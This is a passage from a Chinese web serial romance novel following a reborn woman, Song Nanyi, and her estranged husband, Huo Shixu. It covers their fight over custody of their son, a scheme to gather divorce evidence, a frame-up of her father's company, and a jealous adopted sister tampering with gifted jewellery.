但是宝宝长得太像他了,被霍时序见过一面后,他出现更为频繁。
罢了。
有些感情,还是得当面做个了断。
宋南伊走到门口。
他没有躲,双眼迷茫无神,睫毛和发梢都沾着清晨的露珠。
黑色的西装下,是他矜贵挺拔的身姿。
不知道从哪传来的水滴声。
滴到瓦片上,像是眼泪坠落。
他没说话。
只是怔忡地望着她的眼睛,浅浅弯起唇角,像是跟她打招呼。
她静静地与他对视着。
许久……
“要不要,进来……坐坐?”她说。
他唇角难看地挤了抹弧度,“可,可以吗?”
她点头。
将门打开。
院不大,比起他从楼上看到的,还要周正一些。
院子里有很多小孩子的玩具。
他忍不住红了眼眶。
“是我的对吗?”他像是要确定什么,“那小子是我的孩子,对吗?”
宋南伊觉得问这个没有意义。
他们之间,不会因为一个孩子,就重蹈覆辙。
“是。”她没有鬼扯一些理由,“霍时序,他确实是你的儿子。”
他笑了,却掉下了眼泪。
两世了。
宋南伊终于生下了宝宝。
是在离开他之后。
离开他,她的霉运没有了。
“对不起,南伊。”他抱住了她,声音沙哑,肩膀颤抖,“三年了,你有没有原谅我一点点?”
“这三年我过得很快乐,没有去想过去的那些事情,如果不是你的出现,我或许永远都不会记起,那些几世的痛苦不堪。”
他是痛苦的根源。
他知道。
但是三年了。
他也想为自己做点事情了。
“回到我身边吧,南伊,我不在意你跟过别的男人,回来吧,我仍然深爱着你。”这一次,说什么,他不会放开她的手。
“南伊,这三年,我在梦里跟你道过无数次的歉,我……”
宋南伊轻轻地推开他。
后退一步,“霍时序,我已经结婚了。”
“结,结婚了?”他不信,非要从她微垂的眸子,找到一些别的信息,“我们还没有离婚,你是怎么结婚的?”
“霍时序,我们分开三年了,什么样的婚也离了,你可以来看宝宝,但请你不要再来打扰我的生活。”
她平心静气。
回头冲屋里,“岳川,你出来一下。”
岳川从屋里走出来。
他很年轻,身材高大,白色的衬衣,露出半截结实的小臂。
黑色的西裤,将两条腿拉得很长。
“怎么了?”他看了霍时序一眼。
宋南伊握起他的手,与他十指相扣,“霍时序,这是我的丈夫,他叫岳川。”
她抚着自己的小腹。
第118章 多恨一次,少恨一次又能怎样
关上门。
宋南伊倚在门框上,哭了。
那么亲近过的两个人,自然知道,往哪里捅刀子,他最痛。
看到他眼角的那滴血泪。
她心脏的某个位置,像是被狠狠地刺了一刀。
好疼好疼。
三年了,她时刻都在想着,如何跟霍时序彻底的斩断。
彻底地结束了。
梦想成真了。
岳川轻轻地拍了拍她的背。
他理解,宋南伊今天虚构这些没有的事情,是想让霍时序放手。
听宋南伊讲过,她和霍时序的故事。
真正相爱过的人,怎么可能会如此平静地结束呢。
他很心疼她,“好好地哭一场,哭完就不难受了。”
……
霍时序回到江城后就病了。
媒体对他的病情,大肆渲染。
甚至用了‘病危’这样严重的词。
霍家上下。
焦头烂额。
尤其是霍正诚,几乎每天都来医院看望霍时序。
医生接二连三的下病然通知书。
想到自己的孙子,要先他这个老头子离开这个世界。
思虑过重,也病倒了。
宋南伊也看到了这样的新闻。
她忍住了。
她不能去看他,也不会让小核桃去。
但她给宋知令打了个电话,看在两家世家的交情份上,让他去看望一下。
病房里。
霍明达骂完宋家,骂儿子。
“真是不争气,为了个女人,你看把自己搞成这样,三年不见,人家又是结婚又是生孩子的,早就把你忘了,他这还殉上情了,你说你是不是有病?”
江淮抿紧了唇,不敢吱声。
霍明达转过脸来,问江淮,“你们去锦城后,为什么不把孩子带回来?那是霍家的种。”
“这……霍总没吩咐,所以就……”
“结婚三年,媳妇又跑了三年,就只剩下个孩子了……,他总得守着点什么吧?要不然,怎么活下去?”
霍明达痛心疾首。
说得也不无道理。
但这事,江淮不敢擅作主张。
“等霍总醒过来,让他决定吧。”
整整三个月。
夏天到了秋天。
每天靠着输液维持生命的男人,最终在病床上醒了过来。
江淮哭了。
放声大哭的那种。
“霍总,您要再不醒过来,我也差不多要死了。”
“出息。”
他挤出微弱的笑声。
一场大病,几乎要了他的命,一米九的个头,愣是瘦到了一百四十斤不到。
出院后。
他跑步健身。
积极恢复身体健康。
好像之前的伤痛,从没有出现过。
“明天,跟我一起去趟锦城。”霍时序出在霍氏总裁办公室的第一句话,令江淮摸不着头脑,“霍总,你要去锦城啊?最近,那边没有工作安排。”
“去办点私事。”
“您是想……?”江淮问。
他淡淡抬眸,复杂却又坚定地望向远处,“要回我的孩子。”
……
当霍时序再次出现在宋南伊面前时。
她正准备送小核桃去幼儿园。
今天是第一天报道。
早早的,她给他煮了鸡蛋,背上了可爱的小书包。
“妈咪,这个叔叔好高哦,他是谁呀?”
小核桃抬着小脸,看向霍时序。
这个叔叔脸好臭哦。
他有点怕怕的,往宋南伊身后躲。
宋南伊望着他。
他瘦了好多,凹进去的脸颊,把整个人衬得刻薄。
就算是这样,脸还是好看的。
颜值没得说。
没等宋南伊开口问。
霍时序凉着声音,对江淮说,“把孩子带走。”
“是。”
“霍时序,你干什么?你来锦城,是抢孩子来了?”宋南伊慌忙抱紧了小核桃,接连后退三步,“霍时序,这是我的孩子,你不能抢。”
“他也是我的孩子。”
“但是我生的,我不同意,你就不能带走。”宋南伊护住小核桃,眼眶猩红,“霍时序,你不要让我恨你。”
男人像听了个笑话。
勾起的唇角,透着讥诮与冰凉,“我不带走我的孩子,你就不恨我了吗?宋南伊,你恨我恨的还少吗?多恨一次,少恨一次又能怎样?你以为我会在乎?”
霍时序给江淮递了眼神。
他便将小核桃,强行从宋南伊的手中,抱了过去。
小核桃吓得哇哇大哭。
宋南伊疼得撕心裂肺。
“小核桃乖,别怕,叔叔只是跟你玩个游戏,妈妈一会儿再送你去幼儿园,好不好?”
她没求过霍时序。
可这次她给他跪下了。
“霍时序,你有什么仇,有什么怨,你冲我来,小核桃还小,他还不能离开妈妈,求你了,你别带他走,好不好?”
她哭得全身都在抖。
霍时序的眼神变了。
不像从前,那般的容易心软。
“霍时序,你有什么要求尽管提,只要把小核桃给我留下,我都依你。”
霍时序缓缓屈身半蹲,修长的手指轻轻挑起宋南伊尖俏的下巴,目光深邃复杂。
她真的很美,尤其是含泪的模样,更添了几分楚楚动人。
让他心中涌起一股难以控制的冲动,想要狠狠地“欺负”她一番。
可她已经成了别人的老婆。
她心甘情愿地为别的男人,生儿育女,却还霸占着他的儿子。
这,他绝对不能容忍。
“何必呢宋南伊,你肚子不是还怀着一个吗?你不是还有男人吗?你可以再生啊,我可就这么一个儿子,你啊,也行行好,就放过我的儿子吧。”
他嘲弄极了。
唇角勾起阴鸷的笑。
转身离开时,他又停下了脚步,“哦对了,我记得我们还没有领离婚证吧?宋小姐你,有可能犯重婚罪哦,如果罪名成立,不止你,还有你的那位丈夫,都有可能去做牢。”
他眼神下移,落到她平坦的小腹上,“肚子里的那个,就是罪证。”
他在提醒她。
提醒她,他要开始报复了。
报复她的背叛。
可明明先伤害她的是他呀。
他都忘了吗?
“霍时序,你到底在不甘什么?”宋南伊几乎咬碎了牙根,颤抖着从地上站起来,她走到霍时序的面前,狠狠地给了他一巴掌,“为什么我非得跟你捆绑在一起?我不能过我想要的生活吗?如果早知道你今天来跟我抢孩子,我就不会生下他。”
“早知道?”他笑了。
笑的讥讽。
大手握住了她的脖子,紧紧地攥着,“如果早知道你会跟别的男人,当初我就是挖地三尺,也要把你找回来绑在我身边。”
“宋南伊,我给了你三年,我以为三年你可以抚平伤痛,我们可以重新开始……”他深呼吸,冰凉的视线越发的不甘和失望,“……我也给了我自己三年……你给了我这么大的惊喜,你让我如何的甘心。”
他苦笑。
女人啊,是比男人绝情。
他轻轻地松开了她的脖子,“宋小姐,既然选择了,就别后悔,你我都一样。”
第119章 又勾搭上了
小核桃被带上了车。
小手挥舞着,哭得厉害。
“我要妈妈,我要妈妈……”
……
儿子被霍时序带走了。
宋南伊的心也碎了。
“我得罪他了。”宋南伊幽幽地说。
岳川轻声,“虽然他带走了小核桃,但他是孩子的亲生父亲,小核桃没有危险的,你别太担心了。”
她抬起红肿的眼睛,机械地重复着,“我是说,我得罪他了,他要报复,不止我,还有我们宋家,他会报复与我有关的所有的人……也包括你。”
岳川不在乎。
他只是心疼宋南伊。
“好了,别想了,跟他聊一次吧。”他知道霍时序曾经害死过宋南伊,她解不开心里的结,所以才离开三年,“爱也好,不爱也罢,都不应该成为恨。”
“说得轻巧。”宋南伊苦笑。
人人都那么容易释怀。
那人间岂不是美好的人间了。
人有七情六欲啊。
她垂眸,拭掉眼角的泪,“岳川,我重生两世不是跟他破镜重圆的,我想过我自己的人生,生下小核桃,也不是因为他是霍时序的孩子,是因为我欠这孩子两世……”
霍时序有什么资格来抢她的孩子。
他爱这个孩子吗?
他不爱的。
他只是想让她难受。
“……既然他要跟我抢孩子,那就打官司吧。”
……
霍时序动作很快。
岳川因为涉嫌跟宋南伊的重婚罪,被警察带走调查。
宋南伊飞回了江城。
她没有第一时间,去跟霍时序见面。
而去了陆为谦的律师事务所。
站在他办公室的门口。
宋南伊有一种恍恍惚惚的感觉。
前世,她请他为自己打离婚官司。
这世重生,她并不想再打扰他的生活。
可她除了他,她还能去找谁?
谁又会接她和霍时序的案件。
提气,她敲了敲门,“陆律师。”
“请进。”
宋南伊一步迈进去,微微笑着说,“你好,陆律师,我是宋南伊,我今天过来,是有一个案子,想请你帮忙。”
“请坐。”
陆为谦还如前世那样。
耐心,谦虚,温润,工作极其认真。
“你和时序他……分开三年,虽然说时间不算短,但在这期间,你并没有提起诉讼,你们的夫妻关系还是存在的,理论上讲,夫妻关系还在,就不存在‘分’孩子这事。”
宋南伊听懂了。
得先离婚。
可她知道,他不会离的。
垂眸,她呢喃着说,“如果他坚持不肯离,是不是,我就没办法了?”
“如果没有证据证明,你们的感情破裂,那基本上很难。”陆为谦也不想打击她的积极性,“当然了,如果你持续提起上诉,最终也判离的,就是时间上……”
打持久战。
不是宋南伊想要的。
她似是想到了什么,“那如果我拿到男方出轨的证据,是不是,**就支持离婚,然后把孩子判给我?”
陆为谦推了推鼻梁的眼镜。
倒是有这种可能。
“离婚比较容易支持,孩子的话,三岁以内,比较支持判给母亲,但如果男方生育比较困难的话,也会先支持到男方。”
宋南伊大概懂了。
“陆律师,等我拿到证据后,再来请你打官司,麻烦了,咨询费用多少?”
宋南伊拿出手机扫码。
陆为谦笑着摇头,“不用这么客气,以后有什么需要咨询,可以尽管来找我。”
她跟没他客气。
以后用得着他的地方还多。
她到时会一起给他。
走出律师事务所。
她给一个女人打去了电话。
三天的时间。
她们在一个神秘的会所见了一面。
面前的女孩二十出头的年纪。
皮肤白皙,笑起来清新自然,眉眼间有一些温柔的书卷气。
是霍时序喜欢的类型。
“你叫什么?”宋南伊问。
女孩微微一笑,“宋总,我叫唐若若,江大的学生,但不是江城人。”
宋南伊很满意。
旁边的四十岁的女人帮腔道,“若若可会勾引人了,这男女之事上,没有她拿不下的男人,前几天,她才做了处女膜修复术。”
“你要去勾引的可不是旁人,是霍时序,得下点功夫,我会先给你一百万,事成之后,我会再给你一百万,你觉得……?”
宋南伊递了支票过去。
中年女人笑着拿起来,将进自己的包里,“宋总,您放心,三个月,我们若若就能完成您交代的事情,并且啊会把证据交到你的手里,您就请好吧。”<
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br>“青姐,我相信你的眼光。”宋南伊把视线落到唐若若的面上,“我相信唐小姐,也不会让我失望。”
宋南伊从包里拿出一个方形的首饰盒。
里面是一条某奢侈品的项链。
十几万的价格。
她亲自交到了唐若若的手上,“这是送你的。”
唐若若顺其自然地接过来。
打开,很满意地道谢,“宋总,您放心吧,余下就交给我了。”
……
入夜。
江城某六星级酒店的套房里。
宋南伊翻来覆去地睡不着。
小核桃虽然是个小自来熟。
但他也是个心思细腻的孩子。
妈妈不在身边,没有给他冲最爱喝的奶奶,他吃得可好,睡得可好?
……
半夜。
家里新雇用的保姆,急慌慌地敲响了霍时序卧室的门。
“先生,小少爷他好像发烧了。”
霍时序起身,裹上睡袍,打开门,“没吃药吗?”
“吃过了,退了又烧起,反复几次了。”
霍时序没说话。
俊脸沉下。
大步往小核桃的房间走去。
这孩子烧得满脸通红。
他一刻也没敢耽搁,抱起来,就往楼下跑。
还好,送医及时。
守了他两天一晚,烧终于是退了下去,人也睡得安稳了起来。
“霍总,您回去睡一觉吧,我在这儿守着。”江淮说。
“不用了,我守着才安心。”
他看着床上的小小人。
挺感慨的。
他也是这么大的时候,母亲离开了霍家。
他懂什么,见不到母亲就哭,发烧,反复的退烧,再发烧,再退烧。
差不多用了整整半年。
他才恢复正常。
还真像他,离开了妈妈就生病。
江淮的手机响起。
他去外面接了个电话,又急匆匆地回来说,“霍总,太太她来了?要让她见一下小少爷吗?”
“舍得回来了?”
他知道她会回来。
但,他没想到她会这么快。
江淮有一事,不知道该不该说,“前几天,我外出办事的时候,好像看到太太她进了陆律师的律师事务所,不确定她是不是……”
霍时序的眸色一紧。
好。
很好。
这一世,又勾搭上了。
第120章 我们之间没有和解
霍时序没有让宋南伊见小核桃。
见面的地点。
选在了医院旁边的咖啡厅。
咖啡厅不算高档。
大部分都是一些来蹭网的待业人员。
位置在角落。
相对安静。
“你那丈夫没有陪你过来?”他戏谑地勾了一下唇,拖起长腔,“哦……他被抓起来了,涉嫌重婚罪。”
宋南伊无语。
明明都是他干的。
讥讽她这几句,就这么有快感?
“霍时序,你明知道……”
“我不知道。”他冷下眉梢,俊脸变得无情起来,“告诉我,这次回江城,是想干什么?”
“看儿子。”她实话实说。
“看不了。”他拒绝。
宋南伊瞪眼,“凭什么看不了?就算离婚了,我也有探视权吧?况且,是你抢走了我的儿子,你就是个绑匪,你还不许上了,信不信我报警。”
“我是他爹。”他端起咖啡,轻抿了一下,像极了斯文败类,“他可没有一个没离婚就迫不及待嫁人的妈。”
“你……”
宋南伊还真不知道,霍时序有这副无赖的嘴脸。
那些前世假惺惺的求复合。
都是假的,全是假的。
他就不是个好东西。
所谓耐心,所谓爱,不过就是得到他想要的结果下的,虚伪演绎。
一旦发现事与愿违。
他就不是个人了。
宋南伊压下气。
明明,霍时序已经知道了她和岳川的关系。
阴阳怪气的。
不过是想让她亲口承认,她撒谎骗他。
她承认好了。
“……我没嫁人,我和岳川也没有见不得人的关系,我肚子里也没有孩子,之所以那样说,就是想跟你一刀两断。”
“霍时序,你要怎样,才肯把儿子还给我?”
霍时序是顺毛驴。
呛他也可以,得他心甘情愿的情况下。
目前,二人的关系。
她选择好好跟他讲话。
“他还那么小,离开妈妈会生病的,你看,这不是已经病了,你总不希望自己的儿子……”
“宋南伊。”他冷冷地打断她,“如果没有想说的,就结束吧。”
她望住他。
他眸子漆黑。
她看不透他眼底的颜色。
“霍时序,我们纠缠了两世了,我们和解吧,好吗?”
他淡淡地瞥过视线。
和解?
怎么和解?
用曾经丢过的半条命吗?
“南伊,前世产床的血,和我跳河得自尽,已经一命还一命了,是你一直放不下,我以为上天给我们一起重生的机会,是想让我们好好放下恩怨,幸福生活下去……”
他自嘲地笑了,“……你不肯啊,你出走三年,我等了你三年,我给了你三年的自由,我相信你是爱我的,只是无法释怀,你需要时间,可你呢,你怎么对我的?”
好像很多事情,都经不起推敲。
一旦层层剥开。
不是眼泪就是血。
“……你还在恨我,星言活着,你妈也没死,这还不够吗?你还要恨到什么时候?宋南伊,带着恨过日子,你不累吗?可我累了……我们之间没有所谓的和解,就这样吧。”
他的话很冷。
很凉。
好像前世在产床上被拿走生命的是他,而不是她。
他说他受到了伤害。
难道,一直在受伤害的不是她?
宋南伊内心五味杂陈。
心脏一抽一抽地疼。
她不知道这疼,是为眼前的男人的委屈,还是为曾经的自己。
“所以……你在为自己不平?你要打压宋氏吗?你要报仇吗?还是说……”
说到这儿。
宋南伊的手机突然响了起来。
是父亲秘书打来的。
“什么?怎么会这样?好的我知道了,我马上过去。”
宋知令出事了。
被人举报合同造假。
公司账上的钱,全部冻结。
只有交纳的百亿的保证金,才能让项目继续进行。
宋知令被带走调查。
事发突然。
宋南伊猜,是霍时序搞的鬼,他最擅长用这种卑鄙的方法,报复别人。
“是你吗霍时序,是不是你?是不是你设计陷害?你为什么非要搞我的家人?你有本事冲我来不行吗?”
霍时序苦笑。
看吧。
一旦出了事。
他就被默认为是那个凶手。
宋南伊从来没有信过他。
他没有解释的兴趣,“随便你怎么想。”
男人起身往外走。
宋南伊冲他面前,甩了他一个巴掌,“霍时序,到底是不是你?”
脸被打偏。
有点疼。
他动了动腮上的肌肉,墨色的眸子,骤紧,“宋南伊你的脑子呢?这明显的对家设计,也看不出来?你爸被人设计了,这个人,不是我。”
“真的不是你?”
宋南伊茫然了。
父亲向来做事谨慎,在商场上,他很少与人结下梁子。
怎么突然就……
“不是你,又会是谁?霍时序,你何必这么着急呢?”
她认定了他。
霍时序也不想解释,“是不是我,自己去查。”
宋南伊跟宋知令见了一面。
事情差不多跟秘书说的一样。
合同造假不存在。
举报他的目的,就是想让项目停工。
他给她一些名单,“这些人,以前是比较交好的,你可以去借借,看看能不能把保证金凑出来,要是项目停了,损失可不止这个数,到时,就难办了。”
“爸,如果凑不齐保证金,项目只能停下,你会怎么样?”她六神无主。
“可能是把牢底坐穿吧。”宋知令无望地说。
宋南伊难受。
她不接受这样的结果。
她接过名单,“爸,你放心,我就是求,也求他们帮我们渡过难关,我一定不会让你把牢底做穿的。”
现实,远没有想象的那般顺利。
宋南伊一口一个叔叔伯伯的叫着,也没有撬开这些见风使舵,人走茶变凉的人的怜悯。
好像他们都预测过,宋家从此会衰败。
生怕惹上霉运一般的躲着。
更不提,借钱了。
宋南伊想过抵押房子,抵押自己的珠宝工作室,但杯水车薪。
百亿啊。
这对他们宋家来说,是一个天文数字。
她该去找谁帮忙?
谁又肯帮她呢。
要不去借高利贷?可一旦借了高利贷,就等于提前家破人亡。
怎么办都是两难。
怕母亲提心,她没有跟她讲这件事情,只是说父亲去出差了。
所有的苦和难,她一个人咽下。
窗外,下了起雨。
敲打着桦树的叶子,像一首交响曲。
她缓缓地闭起眼睛,憔悴,迷茫。
手机在桌上震动。
她摸起来看了一眼。
是霍时序的电话。
这个时候,他怕不是来落井下石的吧?
“喂?”
“你爸的事情处理的怎么样了?人出来了吗?”他的话像关心。
宋南伊没有太多抵触情绪,声音丧丧的,“还没有。”
“需要我帮忙吗?”他主动提起,也把丑话说在前头,“不过,我有条件,宋氏股权的百分之十要给我。”“除此之外,我还有一个条件,回家,照顾儿子。”
“如果你愿意,我可以帮你凑齐保证金。”
宋南伊错愕半晌。
“你的条件,会不会有点多?”
第121章 有钱有娃没老公
“你也可以拒绝,我并没强迫你,三天时间,你考虑,同意的话,见面签合同,不同意的话,也不必再联系我,时间过了,我自然会知道。”
他没多少热情。
语调很淡。
宋南伊没说话。
有一种人在屋檐下,不得不低头的凌辱感。
霍时序挂断手机。
听筒里传来忙音。
……
霍时序是个商人。
宋氏百分之十的股权,虽然远达不到百亿之多,但却拥有了宋氏绝对的话语权。
他太懂商场上这一套。
但宋南伊没得选。
在三天的最后一天,她去见了霍时序。
他没跟她讲话,只是让江淮去准备合同。
天气不好。
室内,昏暗一片。
他松了松领带,端起杯子想喝口水,发现杯子空了。
便又放下。
“至少,对债主,给个好脸,才是最基本的礼貌。”他说。
宋南伊抬眸看向他,“最好不是你做的局。”
“我说了你可以拒绝。”
“可你知道,我没法拒绝,没人帮我。”她很委屈,眼眶红得想掉泪。
霍时序淡淡地扫了她一眼,便起身,走到了落地窗前,点了根烟。
烟雾袅袅。
被窗口的风一吹就散掉了。
“人与人之间就是这样凉薄,要么谈钱,要么谈情,能谈什么,取决于对方需要什么。”
女人的眸色幽暗。
她如何不懂这些?
这个世界是没什么人情味的。
霍时序不也一样,趁虚而入,趁火打劫,本质上,他与那些不肯帮宋家的人都是一样的。
合同签了。
她不仅卖了股份,也卖了自己。
好在,她可以见到儿子,父亲出来,也指日可待,算是一点欣慰。
霍时序说,他会亲自去交保证金。
上头那人跟他有点关系。
允许项目先开工。
霍时序有了宋氏百分之十的股份,在宋知令没有出来之前,他成了项目的负责人。
有着绝对的话语权。
看在霍时序的面子上。
倒也没有人再出来捣乱。
宋南伊搬回了她和霍时序的家。
小核桃看到妈妈,扑进她的怀里,亲她的脸,“妈咪,小核桃好想你啊,小核桃病了呢,你怎么现在才来?是不是那个坏爸爸不让你来看我?”
“没有。”宋南伊抱起小核桃亲了亲他的小脸。
不过短短月数没见。
小家伙又重了些许。
路姐多年未见宋南伊。
看到她,激动得泪流满面,“太太,您回来了?三年了,我还以为您不会再回来了呢?不过见到小少爷,我就知道您一定会回来的。”
“路姐。”宋南伊跟路姐拥抱,“我很想你。”
“太太,我也很想你。”
路姐做了宋南伊爱吃的菜。
她只顾着喂小核桃,自己没吃几口。
霍时序没回来。
路姐说,霍时序从锦城回来生过一场重病恢复后,就一直很忙,几乎天天都有应酬。
“太太,您早点休息吧,我等先生回来。”
“嗯,我先带小核桃去睡觉。”
与往常一样,霍时序是被江淮扶进来的。
一进门,他先跑到一楼的洗手间里,吐了个天昏地暗。
路姐担心这样下去,身体早晚会垮,“江特助,你得劝劝先生,不能老这样喝啊,说句不好听的,容易出人命啊。”
“霍总也不想喝成这样,宋家出事的保证金,不是那么好递上去的,那人吃回扣吃的厉害,一百亿,他竟敢多要一个亿,拿了钱,又不肯签单子……”江淮心口酸涩,“……不一杯一杯地赔,那项目随时又得停下来,那宋总什么时候出来?”
路姐不懂这些。
只是觉得霍时序挺有情有意的。
站在楼梯拐角的女人,听到了江淮与路姐的对话。
她以为,对霍时序来说很简单的事情。
只是他的故作轻松。
洗手间里,又传来了呕吐的声音。
宋南伊转身回了房间。
有妈妈在身边,小核桃睡得很香。
不知道过了多久。
霍时序洗了澡,走进小核桃的房间,看儿子。
他就这么专注看着儿子的小脸,握了握他的小手,捏了捏他的小脚,目光所及,皆是温柔。
小家伙翻了个身。
继续睡。
“这小子,不太喜欢我,总喜欢跟我对着干,长大了,不是省心的主。”他说着,唇角苦笑。
宋南伊没说话。
虽然霍时序洗了澡,身上的酒气依然还在。
“以后少喝点酒。”她也不知道,怎么就突然冒出这句。
说完,她就后悔了。
这句话是出于关心。
大概是怕他死了,父亲的事情没人管。
也或许是别的原因。
她也不知道。
霍时序以为她嫌弃,他身上的酒味大。
便起身走出了小核桃的房间。
来到客厅。
他又开了杯红酒。
酒色摇曳。
他往喉咙里灌了一杯。
宋南伊走过来,拿走了他手上的酒杯。
“霍时序,你多大的人了,能不能有点数?”
他不生气,去捉她的手腕,扣住,将酒杯拿了回来,“少管闲事。”
“你死了,你的财产可都是我的了。”宋南伊弯身坐到他身旁,拿起桌上的苹果,咬了一口,“有钱有孩子,没老公,多少人蒙昧以求的日子。”
他笑了。
将杯中的红酒一饮而尽。
酒杯放下。
抓起她的手腕,直接摁住,没等她这口苹果咽下去,他已经扣住她的下巴,强势地跟她接起吻来。
甚至……
他还把嘴里的苹果吃掉了。
“你,唔……”
她推他,搡他,抓他,扯他的头发,还趁机在他的脸上,打了几个耳光。
他完全没有在意。
与她十指相扣,吻的越发深了起来。
白皙的脖子,因为他的蛮力,全是令人脸红心跳的痕迹。
他是故意的。
故意让她难堪。
她用力推开他,巴掌狠重地掌掴在男人的脸上。
“霍时序,你可真是个浑蛋。”
男人慵懒地倚在沙发里,仰头笑了,“宋南伊,你的身体比你的嘴巴诚实。”
“我真多余管你。”宋南伊脸色涨红,像是被揭穿一般的,转身往楼上走,“我乖乖地等着继承财产就好了。”
他望着她渐渐消失的背影。
端起酒杯,又往喉咙里灌了一杯。
什么一别两宽。
什么不再爱了。
谎言。
他可以骗别人,骗不了自己。
三个月的大病,没让他死,让他恋爱脑更重了。
没救了。
“霍时序你真的没救了。”
“你这不是补偿心里,你就是贱,你就是舔,你离了她宋南伊就是活不成。”
“承认吧,你生来就是一只舔狗,一只宋南伊的舔狗。”
他笑着,像是在说胡话。
红酒一杯接着一杯,像烧红的云彩。
第122章 不知明的液体
宋知令一直在里面关着。
等待着最终的调查结果。
宋南伊提交了保释申请,被拒绝了。
她请了人调查,父亲这桩凭空而来的案件,像是有什么势力在干扰,一直也没有结果。
她不敢回娘家。
怕母亲问起,怕露馅。
没人知道她有多煎熬。
其实,她完全可以求助于霍时序,他一定是有办法的。
但她张不开口。
他也未必肯无条件的帮她。
除了日复一日的等待,她没有别的办法。
……
霍氏。
江淮把连日来调查取证,交给了霍时序,“霍总,宋知令是在这个项目竞标的时候,得罪了人,他叫王勤,有个外号叫王老五,保证金部门的那位王阳,是他的堂哥,
二人联合作了局,那百亿保证金,除了王阳多问咱们要的一亿,其余九十亿,都进了二人的腰包,也就是说,其实上面要求的保证金只需要十亿即可。
目的很简单,他们知道宋知令拿不出百亿,等到宋氏倒台,再低价收购宋氏的股份,鸠占鹊巢,可谓是心狠手辣。
您的出面,打乱了他们的计划,但也收了九十一亿,里外都不亏,估计现在,两个人正在被窝里数钱呢。”
商战从来是残酷的。
但**结,做吞金兽,多少有点不要脸了。
江淮不知道霍时序接下来会有什么动作,“霍总,您看……”
“把证据保留好,尽快提交职能部门,一个也不要放过。”他面色平静,语气却异常的狠厉,“他们是不是忘了,宋氏的背后有霍氏在做背书,欺负宋氏,就是跟我霍氏过不去。”
“他们大概也听到一些,您和宋家现在的关系……,所以,才迫不及待地下手。”
三年前,宋南伊失踪。
三个月前,霍时序大病一场。
关于霍宋两家的传闻,一直沸沸扬扬又扑朔迷离,从未止断。
宋氏和霍氏合作多年,可谓利益丰厚,但一旦离开了霍家,就什么也不是。
死猪,也是猪。
这肥肉谁不想吃呢。
想趁机掏空宋家的,不计其数。
霍时序轻笑。
他们还真是看走了眼。
这些账,一笔笔,他都会清算回来。
“行了,去做吧,尽快把岳父先保释出来,老呆在里面,家里人会担心。”
“是。”
……
听说宋南伊回来,还有了孙子。
蓝旗内心一片潮湿,一大早就在准备,送给她们的礼物。
这几年,在霍时序的大力投入下,她已经用上了最好的药物,也成功地控制住了她的疯病,但身体却一直不怎么好。
霍时序将她带到了山上的别墅,让她在这儿静养。
山上空气好,没有外人来打扰。
日子倒是过得清楚。
只是三年前宋南伊的离开,始终是她的心病。
她听霍时序讲了许多,关于他和宋南伊前世今生发生的事情。
总会自责。
“不知道你嫂子喜欢哪个颜色的,烟儿,你觉得这紫色的翡翠衬她,还是这冰种的翡翠衬她?”
蓝烟不知道,为什么蓝旗对宋南伊这么好。
当年她不告而别。
根本就没有把她这个婆婆放进过眼里,“妈,她回来也不是跟我哥好好过日子的,您没必要对她这么好,又送这个,又送那个的。”
“我听说,她离开咱们家后,就又找男人结婚了,哥他还报警抓了外面那男的,说他犯了重婚罪。”
“您送这么珍贵的东西,到头来,她只会拿走去养外面的男人,多不值啊。”
蓝旗不相信宋南伊是那样的人。
都是传闻罢了。
“她要在外面真有男人,就不会回来了。”
“她回来,不过是因为宋家出事,求我哥帮忙来了,妈,你别太善良了,她根本就不是什么好人。”
蓝烟的话,令蓝旗的脸色变了变。
但她还是将要送给宋南伊的礼物,一一包装好。
“那就两个都送给她,让她换着戴。”
两副手镯,价值超千万。
蓝烟都没有收到过如此珍贵的礼物。
“妈,我说了这么多,您是一句也没有听进去啊。”
“好了,我心中有数。”
蓝旗身体不好,就让蓝烟带了礼物过去。
她也很想见小孙子。
但她又深知,还不是时候。
“烟儿,把妈的心意带到,要是你哥在家,就叮嘱他要注意好身体,知道吗?”
“哦,知道了。”
蓝烟帮着蓝旗整理,这些大大小小的首饰,像是随意的说,“妈,我
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有一件事情,想跟您商量一下。”
“什么事情啊?”
“我想跟朋友一起合伙开一个珠宝公司,但需要投资几百万,我手头有点,但还缺一点……”她想让蓝旗给投资一部分。
蓝旗没等她说完就打断了她,“你嫂子就是做珠宝设计师的,如果想开公司,就先跟你嫂子去学习一下,你又没学过这方面,贸然投资,只会打水漂。”
“哦,知道了。”
蓝烟没再说什么。
只是脸色有一些难看。
她带着这些珍贵的礼物,坐上了去往霍时序家的车子。
路上。
她忍不住,又将礼物摊开来看。
蓝旗对宋南伊很舍得。
除了这对价值连城的翡翠手镯。
还有一些黄金和珊瑚。
她被蓝旗收养了二十年,连一只像样的手镯都没有收到过。
她低声下气的,想要一些投资,也被拒绝。
生气,也嫉妒。
亲生的和抱养的,到底是不一样。
蓝旗收养蓝烟的时候,她六岁。
很玩劣。
偷首饰,还故意打碎家里的花瓶,弄坏字画。
小小年纪,就学会了嫁祸于人。
蓝旗差一点将蓝烟送回了福利院。
后来,她哭着道歉,一再保证不敢了。
事事讨好。
也变得乖巧听话。
蓝旗就心软了。
一直养到了现在。
但人的秉性,怎么轻易就能改了呢。
蓝烟从包里拿出一小瓶液体,喷洒在了首饰上,尤其是在一枚保平安的小金锁上多喷了一些。
然后将液体瓶,扔出了车窗。
车子一路前行。
将蓝烟送到了霍时序的别墅。
自从三年前,宋南伊离开,蓝旗就搬到山上的别墅静养,她几乎没来过这儿。
终于又有机会来了。
路姐看到她,从里面出来,“小姐,你怎么过来了?是老夫人有什么吩咐吗?”
南烟将手中的礼物袋,交给路姐。
趾高气扬地往里走。
“听说宋南伊回来了,我妈让我过来看看她。”
“太太跟小少爷在睡午觉呢。”
南烟眉心一皱,淡淡地瞥了路姐一眼,“那就叫起来啊,难不成,我还得等她睡完午觉?”
“是。”路姐撇嘴。
第123章 呼吸乱了
路姐跑上楼,跟宋南伊说,蓝烟来了。
宋南伊是不怎么想见的。
蓝烟是代表蓝旗过来,她又不得不给这个面子。
“路姐,你看着小核桃。”
“好的太太。”
宋南伊套了件外衣,便下了楼。
蓝烟坐在客厅的沙发里,翘着二郎腿,毫无形象可言。
任凭生长在高知豪门大户,底子的低劣,也不会让她成为骨子里,高贵的大小姐。
蓝烟抬眼。
看到宋南伊,还是稍稍收敛。
“妈让我给你送来了她的心意,里面有送你家儿子的平安锁,她特意叮嘱过,是她去寺庙里求来的,保平安,让你给戴上,其余的嘛……都是你的。”
蓝烟将礼品,往面前一推。
